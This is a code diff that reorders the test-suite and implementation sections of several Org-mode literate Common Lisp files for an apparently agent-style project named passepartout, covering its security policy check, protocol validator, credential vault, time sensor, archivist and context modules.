-(defskill :passepartout-security-policy
-  :priority 500
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic #'policy-compliance-check)
-#+end_src
-
 * Test Suite
 
 #+begin_src lisp
@@ -90,3 +58,36 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
          (result (policy-compliance-check action nil)))
     (is (eq :LOG (getf result :type)))))
 #+end_src
+
+* Implementation
+
+** Package Context
+#+begin_src lisp
+(in-package :passepartout)
+#+end_src
+
+** Policy Logic (policy-compliance-check)
+;; REPL-VERIFIED: 2026-05-03T13:00:00
+#+begin_src lisp
+(defun policy-compliance-check (action context)
+  "Enforces constitutional invariants on proposed actions."
+  (declare (ignore context))
+  (let* ((payload (proto-get action :payload))
+         (explanation (proto-get payload :explanation)))
+    (if (and explanation (stringp explanation) (> (length explanation) 10))
+        action
+        (progn
+          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
+          (list :type :LOG
+                :payload (list :level :warn
+                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
+#+end_src
+
+** Skill Registration
+#+begin_src lisp
+(defskill :passepartout-security-policy
+  :priority 500
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic #'policy-compliance-check)
+#+end_src
+

org/security-validator.org

@@ -27,34 +27,6 @@ before they reach any cognitive stage.
 - Does NOT define the schema — that is ~core-transport.org~.
 - Does NOT validate semantic content — that is the Dispatcher and Policy.
 
-* Implementation
-
-** Package Context
-#+begin_src lisp
-(in-package :passepartout)
-#+end_src
-
-** Validation Logic
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun validator-protocol-check (msg)
-  "Enforces structural schema compliance on protocol messages."
-  (validate-communication-protocol-schema msg))
-#+end_src
-
-** Skill Registration
-#+begin_src lisp
-(defskill :passepartout-security-validator
-  :priority 95
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic (lambda (action ctx)
-                   (declare (ignore ctx))
-                   (handler-case
-                       (progn (validator-protocol-check action) action)
-                     (error (c)
-                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
-#+end_src
-
 * Test Suite
 
 #+begin_src lisp
@@ -86,3 +58,32 @@ before they reach any cognitive stage.
     (signals error
       (validator-protocol-check msg))))
 #+end_src
+
+* Implementation
+
+** Package Context
+#+begin_src lisp
+(in-package :passepartout)
+#+end_src
+
+** Validation Logic
+;; REPL-VERIFIED: 2026-05-03T13:00:00
+#+begin_src lisp
+(defun validator-protocol-check (msg)
+  "Enforces structural schema compliance on protocol messages."
+  (validate-communication-protocol-schema msg))
+#+end_src
+
+** Skill Registration
+#+begin_src lisp
+(defskill :passepartout-security-validator
+  :priority 95
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic (lambda (action ctx)
+                   (declare (ignore ctx))
+                   (handler-case
+                       (progn (validator-protocol-check action) action)
+                     (error (c)
+                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
+#+end_src
+

org/security-vault.org

@@ -35,6 +35,61 @@ through here.
 - Does NOT validate key format — the provider skill does that.
 - Does NOT rotate or expire keys — this is a simple store.
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-vault-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vault-suite))
+
+(in-package :passepartout-security-vault-tests)
+
+(def-suite vault-suite :description "Verification of the Credentials Vault")
+(in-suite vault-suite)
+
+(test test-vault-round-trip
+  "Contract 1: vault-set stores a value; vault-get retrieves it."
+  (let ((test-key :vault-test-round-trip)
+        (test-secret "secret-abc123"))
+    (vault-set test-key test-secret)
+    (is (string= test-secret (vault-get test-key)))
+    ;; Clean up
+    (vault-set test-key nil)))
+
+(test test-vault-missing-key
+  "Contract 2: vault-get returns NIL for an unset, unknown provider."
+  (is (null (vault-get :nonexistent-provider-xyz))))
+
+(test test-vault-isolation
+  "Contract 5: storing for provider A does not affect provider B."
+  (vault-set :vault-prov-a "secret-a")
+  (vault-set :vault-prov-b "secret-b")
+  (is (string= "secret-a" (vault-get :vault-prov-a)))
+  (is (string= "secret-b" (vault-get :vault-prov-b)))
+  (vault-set :vault-prov-a nil)
+  (vault-set :vault-prov-b nil))
+
+(test test-vault-secret-wrappers
+  "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
+  (let ((test-provider :vault-secret-test))
+    (vault-set-secret test-provider "my-token")
+    (is (string= "my-token" (vault-get-secret test-provider)))
+    ;; Clean up
+    (vault-set-secret test-provider nil)))
+
+(test test-vault-type-isolation
+  "Contract 5: different :type values produce different keys."
+  (vault-set :vault-type-test "key-value" :type :api-key)
+  (vault-set :vault-type-test "secret-value" :type :secret)
+  (is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
+  (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
+  (vault-set :vault-type-test nil :type :api-key)
+  (vault-set :vault-type-test nil :type :secret))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -103,57 +158,3 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-vault-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:vault-suite))
-
-(in-package :passepartout-security-vault-tests)
-
-(def-suite vault-suite :description "Verification of the Credentials Vault")
-(in-suite vault-suite)
-
-(test test-vault-round-trip
-  "Contract 1: vault-set stores a value; vault-get retrieves it."
-  (let ((test-key :vault-test-round-trip)
-        (test-secret "secret-abc123"))
-    (vault-set test-key test-secret)
-    (is (string= test-secret (vault-get test-key)))
-    ;; Clean up
-    (vault-set test-key nil)))
-
-(test test-vault-missing-key
-  "Contract 2: vault-get returns NIL for an unset, unknown provider."
-  (is (null (vault-get :nonexistent-provider-xyz))))
-
-(test test-vault-isolation
-  "Contract 5: storing for provider A does not affect provider B."
-  (vault-set :vault-prov-a "secret-a")
-  (vault-set :vault-prov-b "secret-b")
-  (is (string= "secret-a" (vault-get :vault-prov-a)))
-  (is (string= "secret-b" (vault-get :vault-prov-b)))
-  (vault-set :vault-prov-a nil)
-  (vault-set :vault-prov-b nil))
-
-(test test-vault-secret-wrappers
-  "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
-  (let ((test-provider :vault-secret-test))
-    (vault-set-secret test-provider "my-token")
-    (is (string= "my-token" (vault-get-secret test-provider)))
-    ;; Clean up
-    (vault-set-secret test-provider nil)))
-
-(test test-vault-type-isolation
-  "Contract 5: different :type values produce different keys."
-  (vault-set :vault-type-test "key-value" :type :api-key)
-  (vault-set :vault-type-test "secret-value" :type :secret)
-  (is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
-  (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
-  (vault-set :vault-type-test nil :type :api-key)
-  (vault-set :vault-type-test nil :type :secret))
-#+end_src

org/sensor-time.org

@@ -26,6 +26,77 @@ All pure Lisp, 0 LLM tokens for temporal awareness.
    ~:SCHEDULED~ properties. If any are within ~DEADLINE_WARNING_MINUTES~,
    returns a formatted deadline note string. Returns nil otherwise.
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-sensor-time-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:sensor-time-suite))
+
+(in-package :passepartout-sensor-time-tests)
+
+(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
+(in-suite sensor-time-suite)
+
+(test test-format-time-for-llm-includes-year
+  "Contract 1: format-time-for-llm returns a string with the current year."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "202" result))
+    (is (search "TIME" result))))
+
+(test test-format-time-for-llm-utc
+  "Contract 1: iso format includes Z suffix."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "Z" result))))
+
+(test test-format-time-for-llm-natural
+  "Contract 1: natural format produces human-readable date."
+  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "TIME_FORMAT") "natural")
+           (let ((result (passepartout::format-time-for-llm)))
+             (is (stringp result))
+             (is (search "UTC" result))))
+      (setf (uiop:getenv "TIME_FORMAT") old-env))))
+
+(test test-format-time-for-llm-with-session
+  "Contract 1: with session duration, includes session info."
+  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
+    (is (search "1h 2m" result))))
+
+(test test-session-duration
+  "Contract 2: session-duration returns a positive number after init."
+  (passepartout::sensor-time-initialize)
+  (let ((dur (passepartout::session-duration)))
+    (is (numberp dur))
+    (is (>= dur 0))))
+
+(test test-sensor-time-tick-empty
+  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
+  (clrhash passepartout::*memory-store*)
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (null result))))
+
+(test test-sensor-time-tick-detects-deadline
+  "Contract 3: sensor-time-tick detects a deadline close in time."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*deadline-warning-minutes* 120)
+  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
+    (ingest-ast (list :type :HEADLINE
+                       :properties (list :ID "deadline-test"
+                                         :TITLE "Submit report"
+                                         :DEADLINE (write-to-string near-future-time))
+                       :contents nil)))
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (not (null result)))
+    (is (search "Submit report" result))))
+#+end_src
+
 * Implementation
 
 ** Package context
@@ -145,73 +216,3 @@ Called by the time-tick cron job every minute."
 (sensor-time-initialize)
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-sensor-time-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:sensor-time-suite))
-
-(in-package :passepartout-sensor-time-tests)
-
-(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
-(in-suite sensor-time-suite)
-
-(test test-format-time-for-llm-includes-year
-  "Contract 1: format-time-for-llm returns a string with the current year."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "202" result))
-    (is (search "TIME" result))))
-
-(test test-format-time-for-llm-utc
-  "Contract 1: iso format includes Z suffix."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "Z" result))))
-
-(test test-format-time-for-llm-natural
-  "Contract 1: natural format produces human-readable date."
-  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "TIME_FORMAT") "natural")
-           (let ((result (passepartout::format-time-for-llm)))
-             (is (stringp result))
-             (is (search "UTC" result))))
-      (setf (uiop:getenv "TIME_FORMAT") old-env))))
-
-(test test-format-time-for-llm-with-session
-  "Contract 1: with session duration, includes session info."
-  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
-    (is (search "1h 2m" result))))
-
-(test test-session-duration
-  "Contract 2: session-duration returns a positive number after init."
-  (passepartout::sensor-time-initialize)
-  (let ((dur (passepartout::session-duration)))
-    (is (numberp dur))
-    (is (>= dur 0))))
-
-(test test-sensor-time-tick-empty
-  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
-  (clrhash passepartout::*memory-store*)
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (null result))))
-
-(test test-sensor-time-tick-detects-deadline
-  "Contract 3: sensor-time-tick detects a deadline close in time."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*deadline-warning-minutes* 120)
-  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
-    (ingest-ast (list :type :HEADLINE
-                       :properties (list :ID "deadline-test"
-                                         :TITLE "Submit report"
-                                         :DEADLINE (write-to-string near-future-time))
-                       :contents nil)))
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (not (null result)))
-    (is (search "Submit report" result))))
-#+end_src

org/symbolic-archivist.org

@@ -27,6 +27,48 @@ events, performing two core functions:
 5. (archivist-gardener-scan): heartbeat-driven — scans for broken
    file links and orphaned memory objects.
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-symbolic-archivist-tests
+  (:use :cl :passepartout)
+  (:export #:archivist-suite))
+
+(in-package :passepartout-symbolic-archivist-tests)
+
+(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
+(fiveam:in-suite archivist-suite)
+
+(fiveam:test test-extract-headlines
+  "Contract 1: archivist-extract-headlines parses Org content."
+  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
+         (headlines (archivist-extract-headlines content)))
+    (fiveam:is (listp headlines))
+    (fiveam:is (>= (length headlines) 1))))
+
+(fiveam:test test-headline-to-filename
+  "Contract 2: archivist-headline-to-filename sanitizes titles."
+  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
+    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
+    (fiveam:is (not (search ":" filename)))))
+
+(fiveam:test test-archivist-create-note
+  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
+  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
+         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (unwind-protect
+         (progn
+           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
+               "Expected note creation to return T")
+           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
+               "Expected file test_note.org to exist"))
+      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -338,44 +380,3 @@ and dispatches as needed. Called by the deterministic gate."
   :deterministic #'archivist-run)
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-symbolic-archivist-tests
-  (:use :cl :passepartout)
-  (:export #:archivist-suite))
-
-(in-package :passepartout-symbolic-archivist-tests)
-
-(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
-(fiveam:in-suite archivist-suite)
-
-(fiveam:test test-extract-headlines
-  "Contract 1: archivist-extract-headlines parses Org content."
-  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
-         (headlines (archivist-extract-headlines content)))
-    (fiveam:is (listp headlines))
-    (fiveam:is (>= (length headlines) 1))))
-
-(fiveam:test test-headline-to-filename
-  "Contract 2: archivist-headline-to-filename sanitizes titles."
-  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
-    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
-    (fiveam:is (not (search ":" filename)))))
-
-(fiveam:test test-archivist-create-note
-  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
-  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
-         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (unwind-protect
-         (progn
-           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
-               "Expected note creation to return T")
-           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
-               "Expected file test_note.org to exist"))
-      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
-#+end_src

org/symbolic-awareness.org

@@ -41,6 +41,77 @@ The effectiveness of this depends on the embedding backend. The default ~:trigra
 2. (context-assemble-global-awareness): zero-arg wrapper — calls
    ~context-awareness-assemble~ without foveal focus.
 
+* Test Suite
+Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-peripheral-vision-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vision-suite))
+(in-package :passepartout-peripheral-vision-tests)
+
+(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
+(in-suite vision-suite)
+
+(test test-foveal-rendering
+  "Contract 1: foveal content inline, peripheral content title-only."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
+                             :raw-content "FOVEAL CONTENT" :contents nil)
+                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
+                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
+      (is (search "FOVEAL CONTENT" output))
+      (is (search "* Peripheral Node" output))
+      (is (not (search "PERIPHERAL CONTENT" output))))))
+
+(test test-awareness-budget
+  "Contract 1: all active projects appear in awareness output."
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
+  (let ((output (context-awareness-assemble)))
+    (is (search "Project 1" output))
+    (is (search "Project 2" output))))
+
+(test test-context-empty-memory
+  "Contract 1: empty memory produces clean output without error."
+  (clrhash passepartout::*memory-store*)
+  (let ((output (context-awareness-assemble)))
+    (is (stringp output))
+    (is (search "MEMEX" output :test #'char-equal))))
+
+(test test-context-no-foveal-focus
+  "Contract 2: without foveal focus, no inline content appears."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
+                             :raw-content "CHILD CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble nil)))
+      (is (stringp output))
+      (is (not (search "CHILD CONTENT" output))))))
+
+(test test-semantic-retrieval-trigram
+  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
+  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
+        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
+    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
+      (is (> sim 0.0))))
+  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
+        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
+    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
+      (is (> sim 0.75))))
+  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
+        (v6 (passepartout::embedding-backend-trigram "banana")))
+    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
+      (is (< sim 0.3)))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -311,73 +382,3 @@ to ~context-awareness-assemble~.
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-peripheral-vision-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:vision-suite))
-(in-package :passepartout-peripheral-vision-tests)
-
-(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
-(in-suite vision-suite)
-
-(test test-foveal-rendering
-  "Contract 1: foveal content inline, peripheral content title-only."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
-                             :raw-content "FOVEAL CONTENT" :contents nil)
-                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
-                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
-      (is (search "FOVEAL CONTENT" output))
-      (is (search "* Peripheral Node" output))
-      (is (not (search "PERIPHERAL CONTENT" output))))))
-
-(test test-awareness-budget
-  "Contract 1: all active projects appear in awareness output."
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
-  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
-  (let ((output (context-awareness-assemble)))
-    (is (search "Project 1" output))
-    (is (search "Project 2" output))))
-
-(test test-context-empty-memory
-  "Contract 1: empty memory produces clean output without error."
-  (clrhash passepartout::*memory-store*)
-  (let ((output (context-awareness-assemble)))
-    (is (stringp output))
-    (is (search "MEMEX" output :test #'char-equal))))
-
-(test test-context-no-foveal-focus
-  "Contract 2: without foveal focus, no inline content appears."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
-                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
-                             :raw-content "CHILD CONTENT" :contents nil)))))
-    (ingest-ast ast)
-    (let ((output (context-awareness-assemble nil)))
-      (is (stringp output))
-      (is (not (search "CHILD CONTENT" output))))))
-
-(test test-semantic-retrieval-trigram
-  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
-  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
-        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
-    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
-      (is (> sim 0.0))))
-  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
-        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
-    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
-      (is (> sim 0.75))))
-  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
-        (v6 (passepartout::embedding-backend-trigram "banana")))
-    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
-      (is (< sim 0.3)))))
-#+end_src

org/symbolic-scope.org

@@ -14,6 +14,73 @@ The core provides the mechanism (=memory-object-scope=, =context-query= with
 scope parameter). This skill provides the policy — what to focus on, what
 scope means for each project, and how the stack is managed.
 
+** Contract
+
+1. (push-context &key project base-path scope): pushes a context plist
+   onto ~*context-stack*~. Blocks if depth exceeds ~*context-max-depth*~.
+2. (pop-context): pops and returns the top context. If the stack would
+   become empty, inserts a default memex-wide context instead.
+3. (current-context): returns the top-of-stack context plist.
+4. (current-scope): returns the ~:scope~ keyword from the current context.
+5. (current-project): returns the ~:project~ name from the current context.
+6. (current-base-path): returns the ~:base-path~ from the current context.
+7. (context-stack-depth): returns the number of contexts on the stack.
+8. (focus-project name base-path): pushes a new context for the named
+   project. Sets ~*scope-resolver*~ to return ~:project~.
+9. (focus-session): pushes an ephemeral context for the current session.
+10. (focus-memex): pushes a global memex-wide context.
+11. (unfocus): pops one level from the context stack.
+12. (resolve-path path): resolves a path relative to the current base-path.
+13. (context-scoped-query &key tag todo-state type): queries memory filtered
+    by the current context's scope.
+14. (context-save): persists the context stack to disk.
+15. (context-load): restores the context stack from disk on startup.
+
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-context-tests
+  (:use :cl :passepartout)
+  (:export #:context-suite))
+
+(in-package :passepartout-context-tests)
+
+(fiveam:def-suite context-suite :description "Context manager verification")
+(fiveam:in-suite context-suite)
+
+(fiveam:test test-push-pop-context
+  "Contract 1-2: push-context and pop-context maintain stack order."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when stack-var
+      (setf (symbol-value stack-var) nil)
+      (push-context :project "testapp" :base-path "/tmp" :scope :project)
+      (fiveam:is (= 1 (length (symbol-value stack-var))))
+      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
+      (pop-context)
+      (fiveam:is (null (symbol-value stack-var))))))
+
+(fiveam:test test-context-save-load
+  "Contract 3-4: context-save and context-load round-trip."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when (and stack-var pf-var)
+      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
+        (setf (symbol-value pf-var) tmpfile)
+        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
+        (context-save)
+        (fiveam:is (probe-file tmpfile))
+        (setf (symbol-value stack-var) nil)
+        (context-load)
+        (fiveam:is (= 1 (length (symbol-value stack-var))))
+        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
+        (ignore-errors (delete-file tmpfile))))))
+#+end_src
+
 * Implementation
 
 ** Context Stack
@@ -297,47 +364,3 @@ Also restores any previously saved context stack.
 3. (context-save): serializes ~*context-stack*~ to the persistence file.
 4. (context-load): restores ~*context-stack*~ from persistence file on boot.
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-context-tests
-  (:use :cl :passepartout)
-  (:export #:context-suite))
-
-(in-package :passepartout-context-tests)
-
-(fiveam:def-suite context-suite :description "Context manager verification")
-(fiveam:in-suite context-suite)
-
-(fiveam:test test-push-pop-context
-  "Contract 1-2: push-context and pop-context maintain stack order."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when stack-var
-      (setf (symbol-value stack-var) nil)
-      (push-context :project "testapp" :base-path "/tmp" :scope :project)
-      (fiveam:is (= 1 (length (symbol-value stack-var))))
-      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
-      (pop-context)
-      (fiveam:is (null (symbol-value stack-var))))))
-
-(fiveam:test test-context-save-load
-  "Contract 3-4: context-save and context-load round-trip."
-  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
-         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
-         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
-    (when (and stack-var pf-var)
-      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
-        (setf (symbol-value pf-var) tmpfile)
-        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
-        (context-save)
-        (fiveam:is (probe-file tmpfile))
-        (setf (symbol-value stack-var) nil)
-        (context-load)
-        (fiveam:is (= 1 (length (symbol-value stack-var))))
-        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
-        (ignore-errors (delete-file tmpfile))))))
-#+end_src

org/symbolic-time-memory.org

@@ -24,6 +24,59 @@ tokens. ~90% token reduction on time-scoped memory queries.
    ~context-query~ with temporal filtering. Falls back to ~context-query~ for
    non-time-scoped queries.
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-time-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:time-memory-suite))
+
+(in-package :passepartout-time-memory-tests)
+
+(def-suite time-memory-suite :description "Temporal memory filtering")
+(in-suite time-memory-suite)
+
+(test test-memory-objects-since
+  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
+      (let ((since-t1 (passepartout::memory-objects-since t1)))
+        (is (= 2 (length since-t1)))
+        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
+          (is (string= "time-c" (first ids)))
+          (is (string= "time-d" (second ids))))
+        (let ((since-t0 (passepartout::memory-objects-since t0)))
+          (is (= 4 (length since-t0))))))))
+
+(test test-memory-objects-in-range
+  "Contract 2: ingest nodes, verify range query returns correct subset."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
